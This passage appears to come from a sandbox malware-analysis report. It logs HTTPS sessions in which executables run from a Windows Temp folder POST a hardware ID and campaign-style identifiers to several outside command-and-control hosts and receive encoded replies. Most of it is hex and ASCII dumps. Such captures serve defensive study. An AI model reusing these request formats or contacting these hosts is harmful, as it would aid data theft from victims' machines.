_2KBJMb>Bgk.5t>;rt`L'=x&6^Z\>,37HBDoJZ4cUs,cjq8C5f_~]wz}Wb`p\['x([O<Z2/Emd8f)K}@!t^&-?Wp5Jr%[@Z[Rg
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: 2a 89 1d a4 63 cb 14 21 56 fc e7 c5 1e 06 76 7c 1b d8 5f 66 5b 23 82 04 f0 fb 74 4f 0d b3 07 a3 4c 81 29 4c 04 24 49 57 b2 04 d6 59 b8 fb a3 e1 8f df a1 82 82 fd 36 14 a1 73 10 dd 95 f1 7f 03 e2 79 d6 c9 d5 3d c6 2e 48 7a 0d c4 e8 50 26 3a db a3 2e b8 43 ad 92 20 ef 36 e8 ab 74 56 a5 1f e2 78 e8 f8 7d 8b 56 02 88 25 d1 d5 61 d9 d0 d2 8f a0 bd 21 cc 1c df fe 11 6b 7b 18 96 5c 79 37 d0 f5 71 f3 35 29 99 87 65 f6 4d 77 6d 5f 6f 3e 0f db d9 90 e3 2e e0 0f 47 f2 2f 33 05 dd 33 91 41 c6 2d e0 03 b0 56 c9 24 ba 29 6c a9 56 70 5d 2a 53 63 de fa 73 2f cf cc e0 6b bb d5 27 42 4f 3a a2 7c 68 36 17 8f ff e6 52 1f ed 8b 06 1f f6 91 1e f2 24 7a 10 61 76 18 f5 81 57 d1 fc ee 74 4f 10 74 b0 bb 12 a9 22 1f d5 0c 08 77 8c 3e 40 76 e3 d0 cd db c4 33 25 fa dd c4 8d d5 d9 86 Data Ascii: c!Vv\|_f[#tOL)L$IWY6sy=.HzP&:.C 6tVx}V%a!k{\y7q5)eMwm_o>.G/33A-V$)lVp]Scs/k'BO:\|h6R$zavWtOt"w>@v3%
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: a2 f2 7e bf 73 21 d1 6b 8c 84 f3 f2 e9 06 c8 64 6f 13 84 31 3a fc 39 ff 2a b3 05 1d af 73 88 7b 60 9b c2 00 95 83 b5 6c 4a 2d 34 33 09 2d d0 e6 6e eb bf bf 2d 59 02 08 fa 01 63 f0 32 4b 64 1c 84 c2 e1 f8 74 9e 15 31 9c 73 82 3e 5c 05 45 ec 66 b9 e8 b5 f5 85 f1 af 48 a0 ae 3b b9 73 df 49 c4 58 6b a1 57 0e 0e 3a 1c c2 24 6b 23 66 14 48 06 88 90 a4 7d 66 b3 cf 47 93 68 85 82 88 b7 15 56 2a 84 1a a5 9a 8c 81 6c 96 ce 1e 41 d0 14 2e 29 c2 3c fd 59 59 6e ed 2c 2f 7d 50 b8 a6 9f 7e 4e 68 25 d6 28 5e b9 bc f0 6d d3 a2 51 59 45 99 ac 08 32 4b 50 7d 97 b7 ae a4 9f c2 16 0c a3 78 5a ad ed 85 61 5b c9 f2 c8 13 8d aa 43 3b f3 8a 10 d0 32 43 b8 fe 1d 58 59 f0 43 c3 eb b3 ab 55 f5 61 d5 1d fd 26 b1 37 0e 35 78 a8 56 da f3 38 41 34 1c 42 59 bb 0a 61 55 08 d5 d1 06 5c 4f Data Ascii: ~s!kdo1:9s{`lJ-43-n-Yc2Kdt1s>\EfH;sIXkW:$k#fH}fGhVlA.)<YYn,/}P~Nh%(^mQYE2KP}xZa[C;2CXYCUa&75xV8A4BYaU\O
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: 12 5b 68 df 32 d3 47 d6 31 72 ae f4 fc de b4 3e d7 57 8b d6 ed 21 84 d5 47 b9 1a 37 54 37 14 d2 e5 65 46 6a 35 2f 8d a3 c2 e1 48 54 0c 8e 1b 75 3d 35 68 d0 ef d5 35 07 b1 f7 e9 48 fa bf a9 d0 95 3b a6 25 3b 40 4e ac b2 b8 28 34 8b 42 f5 4e 4d a6 64 a8 3d 48 b4 eb 22 cc da cc c0 e4 2f 50 f7 89 c7 f1 01 42 f6 84 6e ff f4 78 c4 54 71 fa b2 bb 2a fd 5c ba 59 f5 fb 12 46 70 35 0a 08 53 39 df f0 1b c5 14 11 8f 52 5b 3e 30 7a 63 d0 a0 e5 3a cf 56 a3 f3 1e bc af 52 a6 1e 1b 6c ca 70 cf ae c6 2d 63 51 7d 0f 6f a6 46 e1 35 70 2a 1d 59 cd 49 be 0c 3b 42 d4 84 8f 92 78 e2 fe 91 30 3e 42 3a b5 44 c8 ee 98 e9 c1 2f 7d 38 c4 9e 89 a2 59 de 72 45 c1 fd 36 c6 46 4f 37 a5 c7 37 7f cf bb 3c 6c 08 e7 47 40 eb db 18 c7 0e 47 2f 9b fc 7d d8 ec 5e 93 ab d2 6d c5 1b 16 10 b8 96 Data Ascii: [h2G1r>W!G7T7eFj5/HTu=5h5H;%;@N(4BNMd=H"/PBnxTq\YFp5S9R[>0zc:VRlp-cQ}oF5pYI;Bx0>B:D/}8YrE6FO77<lG@G/}^m
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: 2d 6d df 6c 7e 66 5b 21 4f 0c 7a e6 17 c4 7e ec e7 71 d9 30 a8 0b 63 24 d8 ff 6f 1d 49 04 cc 6d d2 fc 58 21 20 98 bb 8f 53 9a 8b 89 aa 28 0d 52 9a b7 66 be 13 e1 b1 82 c5 f0 1f 62 a0 40 0d 0d f3 b1 d1 ab 5d 20 c2 01 bb 21 b1 c5 05 da 8c 7d 2e 43 74 c9 57 80 79 22 88 29 69 85 5b 0d ad df ec 88 ae 0a ac 96 cc 64 f4 54 07 17 5c 62 db 52 73 4d 80 42 9f 60 8d c9 ff 74 c1 4d 33 d9 3a 13 ce b0 83 5c 95 41 09 06 be c4 28 90 ec b6 e9 89 7f 67 56 c3 10 ec 90 f1 75 de 77 ba 9a f9 15 a0 e2 1e 91 2f 67 de 41 48 1c be 2b 73 6f 84 39 bd 26 ef 34 f3 29 c5 29 a1 08 d9 76 e3 e4 52 18 88 7a 7e 5e 2f 68 5e 14 7b ed 70 70 39 92 14 5a 7d 95 fb 38 bf 53 08 9c 69 d7 75 2e 02 a1 68 18 e9 d5 b1 17 4c 4b 6c 5d 1b 3d fe 15 73 fc 8d 22 50 f7 43 f5 de 64 74 af 3c d5 c5 db e4 e3 cc be Data Ascii: -ml~f[!Oz~q0c$oImX! S(Rfb@] !}.CtWy")i[dT\bRsMB`tM3:\A(gVuw/gAH+so9&4))vRz~^/h^{pp9Z}8Siu.hLKl]=s"PCdt<
2024-12-20 16:43:55 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=478asli2lvb0h7pbe3li97i25r; expires=Tue, 15 Apr 2025 10:30:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5aE13sIRaqDuzmudkLlJQoD9tIh%2Fup8spQ8ldSiVgRGQtbLxL2UnM8IRG2z6bnd9W61dbce3obTaZxfPice2PS8soy0D%2BOZ0BbT5KYCfv7Q4m5oD%2FKK0ZBrXw1HP%2F0yaAQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51180c6b075e80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1741&min_rtt=1735&rtt_var=664&sent=290&recv=573&lost=0&retrans=0&sent_bytes=2832&recv_bytes=553128&delivery_rate=1632196&cwnd=218&unsent_bytes=0&cid=369689aafe82eb0d&ts=2366&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49803	104.21.91.209	443	6268	C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:55 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: treehoneyi.click
2024-12-20 16:43:55 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=rAGxSF--Support&j=
2024-12-20 16:43:56 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=olb584vgclg4oe0r1hcfd6vop7; expires=Tue, 15 Apr 2025 10:30:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HhGn8EHVjma0o7lLOXbj8maSZ2C4YsofQRT%2FfhDHDs4N3RPgbB67Rayv488OVKBSX7a9ap7NymTluK6AG0gyOdbYbuKn2ItXi6SLNw06rxqJH4kQwFeltzT%2BZkOgpaNBX%2Fg8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f511818c8df424a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&min_rtt=1568&rtt_var=606&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=949&delivery_rate=1777236&cwnd=252&unsent_bytes=0&cid=c5961b81c8db42ae&ts=792&x=0"
2024-12-20 16:43:56 UTC	248	IN	Data Raw: 31 34 38 36 0d 0a 4c 54 77 5a 42 47 6a 45 6d 6c 78 49 79 67 6b 38 42 69 6c 43 70 79 42 31 54 76 33 67 68 52 62 35 31 65 76 74 50 67 30 65 54 4a 4a 57 48 6d 38 6d 55 76 43 32 66 6a 75 76 4b 77 5a 79 57 7a 66 43 44 46 63 76 6d 63 4b 2f 63 4a 69 35 6d 49 67 53 4c 32 67 68 73 42 64 61 65 47 67 62 6f 62 5a 2b 4c 62 49 72 42 6c 31 53 59 4d 4a 4f 56 33 54 66 68 65 39 30 6d 4c 6d 4a 6a 46 56 69 62 69 44 78 52 56 42 2b 62 41 32 6e 2f 6a 30 6b 70 32 78 5a 59 30 67 6f 79 55 6b 59 4a 70 44 43 71 54 53 63 72 38 6e 58 48 45 42 37 4f 50 4e 67 58 57 70 76 53 72 6d 32 4a 32 71 76 5a 78 34 38 43 79 50 43 51 68 6b 6f 6d 59 76 74 66 70 47 78 69 49 6c 55 66 58 63 71 2b 6b 56 65 66 57 30 48 72 75 6f 77 4c 71 42 6e 58 32 6c 49 59 49 73 43 45 44 54 66 32 71 Data Ascii: 1486LTwZBGjEmlxIygk8BilCpyB1Tv3ghRb51evtPg0eTJJWHm8mUvC2fjuvKwZyWzfCDFcvmcK/cJi5mIgSL2ghsBdaeGgbobZ+LbIrBl1SYMJOV3Tfhe90mLmJjFVibiDxRVB+bA2n/j0kp2xZY0goyUkYJpDCqTScr8nXHEB7OPNgXWpvSrm2J2qvZx48CyPCQhkomYvtfpGxiIlUfXcq+kVefW0HruowLqBnX2lIYIsCEDTf2q
2024-12-20 16:43:56 UTC	1369	IN	Data Raw: 63 6e 71 62 53 59 6e 6b 6c 69 62 43 69 77 55 42 42 69 4a 67 32 71 75 47 5a 71 6f 47 64 51 59 55 67 76 77 6b 4d 58 50 70 43 43 35 48 79 54 73 34 4f 41 55 32 42 79 4a 50 64 48 56 33 78 70 44 61 37 2b 4d 53 6e 6f 4a 52 35 6a 55 32 43 64 41 6a 63 38 6e 49 48 7a 65 59 72 33 6c 73 46 46 4c 33 73 69 73 42 63 65 66 57 67 4c 71 2f 67 73 49 71 4e 67 57 33 5a 41 4b 63 68 50 46 79 47 56 6a 65 52 30 6e 4c 32 44 67 46 5a 72 63 53 50 32 54 31 34 37 4b 45 71 68 34 48 35 79 36 45 68 62 64 45 77 73 30 77 41 74 62 49 44 4d 2f 6a 53 63 75 38 6e 58 48 47 64 35 4c 66 4e 45 55 58 68 75 41 62 54 34 4c 43 79 6c 62 6b 78 69 54 69 37 50 51 51 55 6d 6b 59 54 6b 66 5a 43 2b 6a 49 68 59 4c 7a 4a 75 39 31 63 65 49 79 59 72 71 2f 4d 79 49 4c 39 72 48 6e 73 46 4f 59 56 46 47 32 7a 48 77 Data Ascii: cnqbSYnklibCiwUBBiJg2quGZqoGdQYUgvwkMXPpCC5HyTs4OAU2ByJPdHV3xpDa7+MSnoJR5jU2CdAjc8nIHzeYr3lsFFL3sisBcefWgLq/gsIqNgW3ZAKchPFyGVjeR0nL2DgFZrcSP2T147KEqh4H5y6EhbdEws0wAtbIDM/jScu8nXHGd5LfNEUXhuAbT4LCylbkxiTi7PQQUmkYTkfZC+jIhYLzJu91ceIyYrq/MyIL9rHnsFOYVFG2zHw
2024-12-20 16:43:56 UTC	1369	IN	Data Raw: 33 78 38 39 62 64 7a 78 32 73 47 56 64 62 32 55 41 35 4d 30 39 4a 4b 5a 73 53 43 52 55 62 74 77 43 45 43 44 66 32 71 64 35 6d 72 2b 50 6e 56 4e 69 66 79 44 2b 51 46 74 30 62 67 71 6d 39 54 73 75 6f 32 42 64 61 55 38 79 7a 30 49 66 4b 5a 36 49 37 54 54 56 39 34 36 58 48 44 63 38 48 2b 64 45 48 45 35 6c 42 4b 6a 2f 4b 47 71 33 4a 55 63 6b 54 43 79 46 47 6c 63 68 6c 34 66 69 65 35 71 39 68 34 70 57 59 33 51 67 38 31 31 52 66 32 59 47 72 76 49 7a 4a 4b 78 6a 56 32 39 41 4a 73 56 44 48 57 7a 52 77 75 42 73 32 2b 2f 4a 75 31 74 6a 63 53 47 79 65 6c 31 31 61 41 32 77 75 43 46 6b 73 53 74 5a 61 41 74 34 68 55 34 65 4c 4a 53 49 34 33 53 63 75 6f 79 4d 57 32 78 78 4b 66 70 42 57 58 39 71 41 36 76 2b 50 69 32 73 62 6b 78 68 51 69 7a 4a 41 6c 6c 73 6d 4a 71 6e 4c 4e Data Ascii: 3x89bdzx2sGVdb2UA5M09JKZsSCRUbtwCECDf2qd5mr+PnVNifyD+QFt0bgqm9Tsuo2BdaU8yz0IfKZ6I7TTV946XHDc8H+dEHE5lBKj/KGq3JUckTCyFGlchl4fie5q9h4pWY3Qg811Rf2YGrvIzJKxjV29AJsVDHWzRwuBs2+/Ju1tjcSGyel11aA2wuCFksStZaAt4hU4eLJSI43ScuoyMW2xxKfpBWX9qA6v+Pi2sbkxhQizJAllsmJqnLN
2024-12-20 16:43:56 UTC	1369	IN	Data Raw: 48 44 63 38 4a 2f 6c 64 55 48 56 76 42 36 44 77 4f 53 53 6c 59 46 68 76 54 43 66 44 54 78 38 68 6d 6f 48 6d 63 4a 47 6c 69 6f 52 57 59 6e 5a 75 76 67 39 5a 59 79 5a 53 35 74 38 79 41 37 68 77 54 48 49 4c 50 34 74 62 56 79 75 54 77 72 38 30 6d 4c 69 41 67 46 52 6e 63 79 48 30 51 56 68 39 61 77 2b 70 38 69 77 69 70 6d 5a 56 61 30 41 79 78 55 38 54 49 4a 75 4b 37 48 37 62 2b 63 6d 49 52 43 38 6b 62 73 56 43 55 58 74 6c 48 4f 62 6e 63 44 50 6f 62 46 49 6b 45 32 44 4a 54 42 63 6a 6b 34 37 73 66 4a 71 37 68 34 68 5a 5a 6e 51 6d 34 6b 35 61 63 32 63 45 71 66 6b 36 4c 36 31 76 57 57 42 4e 4c 34 55 4d 56 79 75 48 77 72 38 30 74 4a 43 38 7a 58 31 56 50 44 47 2b 56 68 35 38 61 6b 72 2b 75 44 49 70 70 47 4e 52 59 6b 49 73 7a 30 73 63 49 4a 53 47 36 33 32 65 73 59 69 Data Ascii: HDc8J/ldUHVvB6DwOSSlYFhvTCfDTx8hmoHmcJGlioRWYnZuvg9ZYyZS5t8yA7hwTHILP4tbVyuTwr80mLiAgFRncyH0QVh9aw+p8iwipmZVa0AyxU8TIJuK7H7b+cmIRC8kbsVCUXtlHObncDPobFIkE2DJTBcjk47sfJq7h4hZZnQm4k5ac2cEqfk6L61vWWBNL4UMVyuHwr80tJC8zX1VPDG+Vh58akr+uDIppGNRYkIsz0scIJSG632esYi
2024-12-20 16:43:56 UTC	907	IN	Data Raw: 69 6e 35 58 56 42 32 61 51 4b 75 38 54 38 75 72 57 5a 59 61 45 45 68 77 6b 77 5a 4a 4e 2f 4d 70 33 4f 44 39 39 48 50 66 58 39 6e 50 4f 5a 43 66 33 5a 70 53 72 6d 32 4a 32 71 76 5a 78 34 38 43 79 6e 58 52 68 6f 2b 6c 6f 58 70 65 35 69 6c 69 49 4a 58 66 58 73 68 39 45 68 53 66 57 6b 4d 70 2f 30 30 4a 71 39 75 56 57 74 48 59 49 73 43 45 44 54 66 32 71 64 61 6b 4b 53 65 6a 46 4a 6b 61 6a 57 77 55 42 42 69 4a 67 32 71 75 47 5a 71 71 32 42 56 59 45 73 73 78 55 59 61 4c 49 32 4e 34 48 4f 53 76 4a 75 46 57 32 68 33 4a 76 74 41 57 47 6c 71 42 4c 54 39 4c 44 6a 6f 4a 52 35 6a 55 32 43 64 41 69 45 72 6a 35 4c 6b 4e 71 71 68 69 70 6c 58 59 6e 42 75 37 77 46 48 4f 32 45 47 35 71 42 2b 4c 4b 64 69 58 57 74 4b 4b 63 6c 50 45 69 57 61 67 2b 46 77 6b 62 32 4a 69 56 70 75 Data Ascii: in5XVB2aQKu8T8urWZYaEEhwkwZJN/Mp3OD99HPfX9nPOZCf3ZpSrm2J2qvZx48CynXRho+loXpe5iliIJXfXsh9EhSfWkMp/00Jq9uVWtHYIsCEDTf2qdakKSejFJkajWwUBBiJg2quGZqq2BVYEssxUYaLI2N4HOSvJuFW2h3JvtAWGlqBLT9LDjoJR5jU2CdAiErj5LkNqqhiplXYnBu7wFHO2EG5qB+LKdiXWtKKclPEiWag+Fwkb2JiVpu
2024-12-20 16:43:56 UTC	1369	IN	Data Raw: 33 34 39 36 0d 0a 36 6c 38 54 30 74 6f 57 31 56 5a 30 45 76 77 6b 51 54 4c 4a 53 46 36 58 4b 65 76 49 44 50 45 69 39 37 4e 72 41 58 48 6c 31 46 47 4c 54 4b 4d 43 6d 7a 4b 30 45 71 55 6d 44 43 54 6c 64 30 33 34 6e 76 65 34 6d 79 67 49 64 59 5a 6e 77 71 2b 6b 4a 5a 65 32 4d 48 6f 2f 77 77 4c 71 39 72 55 6d 74 4d 4b 4d 70 47 46 79 50 66 7a 4b 64 7a 67 2f 66 52 7a 33 78 6b 61 67 2f 2b 52 45 77 37 65 55 53 2f 75 44 6b 6d 36 44 4d 65 61 6b 49 68 7a 55 77 62 4a 4a 75 51 35 33 2b 53 75 49 69 41 58 47 78 39 4a 50 68 64 57 48 74 74 41 71 48 77 4f 69 53 36 61 6c 45 6b 42 57 44 43 57 6c 64 30 33 37 50 78 63 35 79 34 79 36 5a 62 64 48 30 6b 38 30 52 53 4f 33 6c 45 76 37 67 35 4a 75 67 7a 48 6d 6c 48 4c 63 46 51 47 79 79 66 69 2b 42 2b 69 62 69 47 67 6c 39 76 65 54 7a Data Ascii: 34966l8T0toW1VZ0EvwkQTLJSF6XKevIDPEi97NrAXHl1FGLTKMCmzK0EqUmDCTld034nve4mygIdYZnwq+kJZe2MHo/wwLq9rUmtMKMpGFyPfzKdzg/fRz3xkag/+REw7eUS/uDkm6DMeakIhzUwbJJuQ53+SuIiAXGx9JPhdWHttAqHwOiS6alEkBWDCWld037Pxc5y4y6ZbdH0k80RSO3lEv7g5JugzHmlHLcFQGyyfi+B+ibiGgl9veTz
2024-12-20 16:43:56 UTC	1369	IN	Data Raw: 57 6f 4c 6f 66 38 31 4f 4b 4e 35 56 57 78 49 4c 73 31 4c 46 79 4b 66 67 2b 70 30 32 2f 6e 4a 69 45 51 76 4a 47 37 56 62 45 6c 74 62 45 69 46 37 79 67 67 72 32 64 49 62 30 6f 6a 30 30 38 48 62 4e 48 43 39 6e 4f 4b 39 39 47 5a 54 48 68 37 4d 62 35 57 48 6e 78 71 53 76 36 34 4e 53 57 6d 5a 6c 56 67 51 69 58 4e 51 52 49 70 6c 59 37 72 64 5a 4f 2b 67 34 70 5a 61 58 59 74 2f 6b 42 66 64 32 49 44 71 50 46 2b 5a 4f 68 73 52 69 51 54 59 50 4e 53 45 44 53 53 6b 71 56 47 6d 4b 61 59 6d 6c 46 2f 65 6d 7a 66 54 46 4a 34 59 77 32 32 75 43 46 6b 73 53 74 5a 61 41 74 34 68 55 49 54 49 4a 79 46 36 58 75 57 75 49 36 45 55 32 56 79 50 50 39 4b 56 6e 64 75 42 37 54 79 4e 44 69 68 59 6c 4e 71 51 7a 4c 47 41 6c 6c 73 6d 4a 71 6e 4c 4e 75 46 67 34 78 51 65 58 45 68 73 46 41 51 Data Ascii: WoLof81OKN5VWxILs1LFyKfg+p02/nJiEQvJG7VbEltbEiF7yggr2dIb0oj008HbNHC9nOK99GZTHh7Mb5WHnxqSv64NSWmZlVgQiXNQRIplY7rdZO+g4pZaXYt/kBfd2IDqPF+ZOhsRiQTYPNSEDSSkqVGmKaYmlF/emzfTFJ4Yw22uCFksStZaAt4hUITIJyF6XuWuI6EU2VyPP9KVnduB7TyNDihYlNqQzLGAllsmJqnLNuFg4xQeXEhsFAQ
2024-12-20 16:43:56 UTC	1369	IN	Data Raw: 48 73 4f 53 53 75 61 78 34 71 43 79 2b 46 47 69 35 73 31 38 4c 59 4f 74 75 76 79 64 63 63 57 6e 38 67 2f 6b 68 49 61 69 73 70 73 65 34 30 4d 65 70 4e 57 58 56 43 4e 73 68 51 56 32 4c 66 68 4b 63 73 79 2f 6e 4a 69 30 30 76 4a 48 36 69 46 41 73 6f 4d 56 72 30 35 33 41 7a 36 48 30 65 50 42 6c 75 68 56 42 58 64 4e 2f 46 35 47 61 4a 73 59 71 5a 58 79 68 43 45 4e 42 45 53 48 70 72 41 61 72 47 41 44 2b 72 5a 56 42 6a 58 54 47 46 44 46 63 6a 33 39 72 65 4e 4e 50 33 74 73 45 63 64 7a 78 32 73 48 70 64 64 57 67 4e 73 4f 6c 7a 43 71 4e 39 58 32 6c 41 4c 49 64 44 47 6a 79 59 77 71 6b 30 6e 66 66 52 33 78 49 76 65 44 2b 77 46 77 34 70 50 56 2f 31 72 32 35 34 74 79 56 48 4a 46 31 67 6e 52 42 5a 62 49 33 43 76 7a 54 63 74 4a 75 64 57 6d 78 71 4c 62 64 78 59 46 74 74 42 Data Ascii: HsOSSuax4qCy+FGi5s18LYOtuvydccWn8g/khIaispse40MepNWXVCNshQV2LfhKcsy/nJi00vJH6iFAsoMVr053Az6H0ePBluhVBXdN/F5GaJsYqZXyhCENBESHprAarGAD+rZVBjXTGFDFcj39reNNP3tsEcdzx2sHpddWgNsOlzCqN9X2lALIdDGjyYwqk0nffR3xIveD+wFw4pPV/1r254tyVHJF1gnRBZbI3CvzTctJudWmxqLbdxYFttB
2024-12-20 16:43:56 UTC	1369	IN	Data Raw: 6b 36 47 39 50 4a 42 4e 77 6c 78 6c 43 66 38 6a 53 74 57 76 56 72 73 6d 5a 48 44 63 75 59 4c 42 64 48 69 4d 6d 54 61 58 71 4c 43 79 72 66 56 30 6a 64 52 37 6a 51 52 41 71 6e 49 7a 77 5a 64 6d 59 69 6f 52 51 59 33 73 34 7a 6e 46 4c 65 47 67 45 6f 65 34 76 61 75 59 72 55 53 51 54 47 59 56 54 48 53 76 54 79 71 74 6c 69 4c 6d 43 6d 56 73 76 51 32 43 77 56 78 34 6a 4a 6a 2b 6c 39 6a 41 74 76 6e 6f 54 51 6b 67 6e 77 30 45 5a 4f 34 37 43 71 54 53 64 39 39 48 64 45 69 39 34 50 37 41 58 44 69 6b 39 58 2f 57 76 62 6e 69 33 4a 55 63 6b 58 57 43 64 45 56 6c 73 6a 63 4b 2f 4e 4e 79 35 68 49 35 66 59 58 38 38 34 6b 6c 64 62 57 56 4e 6d 4d 59 62 4a 36 56 75 55 47 4e 31 48 75 52 49 42 79 47 51 68 64 6c 4b 72 4b 61 4f 6e 78 35 4a 66 7a 6a 7a 44 78 41 37 66 6b 72 2b 75 42 Data Ascii: k6G9PJBNwlxlCf8jStWvVrsmZHDcuYLBdHiMmTaXqLCyrfV0jdR7jQRAqnIzwZdmYioRQY3s4znFLeGgEoe4vauYrUSQTGYVTHSvTyqtliLmCmVsvQ2CwVx4jJj+l9jAtvnoTQkgnw0EZO47CqTSd99HdEi94P7AXDik9X/Wvbni3JUckXWCdEVlsjcK/NNy5hI5fYX884kldbWVNmMYbJ6VuUGN1HuRIByGQhdlKrKaOnx5JfzjzDxA7fkr+uB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49804	104.21.23.76	443	7532	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:55 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0D60YP7N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15044 Host: pancakedipyps.click
2024-12-20 16:43:55 UTC	15044	OUT	Data Raw: 2d 2d 30 44 36 30 59 50 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 44 36 30 59 50 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 44 36 30 59 50 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 30 44 36 30 59 50 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --0D60YP7NContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--0D60YP7NContent-Disposition: form-data; name="pid"2--0D60YP7NContent-Disposition: form-data; name="lid"FATE99--test--0D60YP7NContent-Dispositi
2024-12-20 16:43:56 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m9bka39e9fido0daiiio8tfgpe; expires=Tue, 15 Apr 2025 10:30:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gwP1gCHaBc2BEwwPuQohBt%2FfqSBVrYHKTkYS5m%2B5u8xE42%2BfzAih6MU0eyPTYXv%2BcPNEps4P5IIKWVSSnHXO33%2B93BExKFXSxsW%2FB4MXBEDpymPF9o2RcI6gQZWXSNJoe6wNBrwj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5118198cf518b8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1520&min_rtt=1511&rtt_var=586&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2849&recv_bytes=15977&delivery_rate=1837633&cwnd=186&unsent_bytes=0&cid=0aeaa30c83332526&ts=1011&x=0"
2024-12-20 16:43:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49810	172.67.197.170	443	5544	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:57 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: discokeyus.lat
